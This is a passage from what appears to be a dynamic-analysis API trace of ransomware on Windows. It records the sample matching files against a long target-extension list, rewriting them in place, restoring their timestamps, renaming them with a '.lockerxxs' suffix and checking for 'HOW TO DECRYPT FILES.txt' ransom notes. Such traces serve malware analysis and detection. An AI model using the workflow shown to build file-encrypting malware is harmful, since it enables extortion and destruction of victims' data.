Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.ost") returned 0 [0065.055] lstrlenA (lpString="*.ost") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.idx") returned 0 [0065.055] lstrlenA (lpString="*.idx") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.dbx") returned 0 [0065.055] lstrlenA (lpString="*.dbx") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.sql") returned 0 [0065.055] lstrlenA (lpString="*.sql") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.mdb") returned 0 [0065.055] lstrlenA (lpString="*.mdb") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.fdb") returned 0 [0065.055] lstrlenA (lpString="*.fdb") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.wab") returned 0 [0065.055] lstrlenA (lpString="*.wab") returned 5 [0065.055] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.dat") returned 0 [0065.056] lstrlenA (lpString="*.dat") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.txt") returned 0 [0065.056] lstrlenA (lpString="*.txt") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.jpeg") returned 0 [0065.056] lstrlenA (lpString="*.jpeg") returned 6 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.jpg") returned 0 [0065.056] lstrlenA (lpString="*.jpg") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.png") returned 0 [0065.056] lstrlenA (lpString="*.png") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.php") returned 0 [0065.056] lstrlenA (lpString="*.php") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.cs") returned 0 [0065.056] lstrlenA (lpString="*.cs") returned 4 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.cpp") returned 0 [0065.056] lstrlenA (lpString="*.cpp") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.rar") returned 0 [0065.056] lstrlenA (lpString="*.rar") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.zip") returned 0 [0065.056] lstrlenA (lpString="*.zip") returned 5 [0065.056] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", pszSpec="*.html") returned 1 [0065.056] lstrlenA (lpString="*.html") returned 6 [0065.056] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" [0065.056] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" [0065.056] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html." [0065.056] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.lockerxxs" [0065.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.057] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4709 [0065.057] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x797dd200, dwHighDateTime=0x1c7d303), lpLastAccessTime=0x407536*(dwLowDateTime=0x618eeb70, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x797dd200, dwHighDateTime=0x1c7d303)) returned 1 [0065.057] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.057] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x46e3, lpOverlapped=0x0) returned 1 [0065.059] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html") returned="FormsPreviewTemplateRTL.html" [0065.059] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.059] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x46e3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x46e3, lpOverlapped=0x0) returned 1 [0065.059] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.060] CloseHandle (hObject=0x98) returned 1 [0065.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.lockerxxs")) returned 1 [0065.063] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5bf, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsPrintTemplate.html", cAlternateFileName="FORMSP~2.HTM")) returned 1 [0065.063] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.063] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsPrintTemplate.html") returned -1 [0065.063] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsPrintTemplate.html") returned 1 [0065.063] lstrcmpiA (lpString1="", lpString2="FormsPrintTemplate.html") returned -1 [0065.063] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html") returned="FormsPreviewTemplateRTL.html" [0065.063] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.063] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.063] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.063] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.063] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsPrintTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" [0065.063] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.ems") returned 0 [0065.063] lstrlenA (lpString="*.ems") returned 5 [0065.063] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.db") returned 0 [0065.063] lstrlenA (lpString="*.db") returned 4 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.dbf") returned 0 [0065.064] lstrlenA (lpString="*.dbf") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.myox") returned 0 [0065.064] lstrlenA (lpString="*.myox") returned 6 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.myo") returned 0 [0065.064] lstrlenA (lpString="*.myo") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbw") returned 0 [0065.064] lstrlenA (lpString="*.qbw") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbb") returned 0 [0065.064] lstrlenA (lpString="*.qbb") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbm") returned 0 [0065.064] lstrlenA (lpString="*.qbm") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbo") returned 0 [0065.064] lstrlenA (lpString="*.qbo") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbx") returned 0 [0065.064] lstrlenA (lpString="*.qbx") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qba") returned 0 [0065.064] lstrlenA (lpString="*.qba") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qby") returned 0 [0065.064] lstrlenA (lpString="*.qby") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qbj") returned 0 [0065.064] lstrlenA (lpString="*.qbj") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.ofx") returned 0 [0065.064] lstrlenA (lpString="*.ofx") returned 5 [0065.064] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.qif") returned 0 [0065.064] lstrlenA (lpString="*.qif") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.mye") returned 0 [0065.065] lstrlenA (lpString="*.mye") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.mbox") returned 0 [0065.065] lstrlenA (lpString="*.mbox") returned 6 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.eml") returned 0 [0065.065] lstrlenA (lpString="*.eml") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.pst") returned 0 [0065.065] lstrlenA (lpString="*.pst") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.ost") returned 0 [0065.065] lstrlenA (lpString="*.ost") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.idx") returned 0 [0065.065] lstrlenA (lpString="*.idx") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.dbx") returned 0 [0065.065] lstrlenA (lpString="*.dbx") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.sql") returned 0 [0065.065] lstrlenA (lpString="*.sql") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.mdb") returned 0 [0065.065] lstrlenA (lpString="*.mdb") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.fdb") returned 0 [0065.065] lstrlenA (lpString="*.fdb") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.wab") returned 0 [0065.065] lstrlenA (lpString="*.wab") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.dat") returned 0 [0065.065] lstrlenA (lpString="*.dat") returned 5 [0065.065] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.txt") returned 0 [0065.065] lstrlenA (lpString="*.txt") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.jpeg") returned 0 [0065.066] lstrlenA (lpString="*.jpeg") returned 6 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.jpg") returned 0 [0065.066] lstrlenA (lpString="*.jpg") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.png") returned 0 [0065.066] lstrlenA (lpString="*.png") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.php") returned 0 [0065.066] lstrlenA (lpString="*.php") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.cs") returned 0 [0065.066] lstrlenA (lpString="*.cs") returned 4 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.cpp") returned 0 [0065.066] lstrlenA (lpString="*.cpp") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.rar") returned 0 [0065.066] lstrlenA (lpString="*.rar") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.zip") returned 0 [0065.066] lstrlenA (lpString="*.zip") returned 5 [0065.066] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", pszSpec="*.html") returned 1 [0065.066] lstrlenA (lpString="*.html") returned 6 [0065.066] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" [0065.066] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" [0065.066] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html." [0065.066] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.lockerxxs" [0065.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.067] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5bf [0065.067] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5298e710, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0065.067] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.067] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x599, lpOverlapped=0x0) returned 1 [0065.068] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html") returned="FormsPrintTemplate.html" [0065.068] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.068] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x599, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x599, lpOverlapped=0x0) returned 1 [0065.069] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.069] CloseHandle (hObject=0x98) returned 1 [0065.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.lockerxxs")) returned 1 [0065.073] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e4800, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2e4800, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x5c9, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsPrintTemplateRTL.html", cAlternateFileName="FORMSP~4.HTM")) returned 1 [0065.074] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsPrintTemplateRTL.html") returned -1 [0065.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsPrintTemplateRTL.html") returned 1 [0065.074] lstrcmpiA (lpString1="", lpString2="FormsPrintTemplateRTL.html") returned -1 [0065.074] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html") returned="FormsPrintTemplate.html" [0065.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.074] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.074] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO 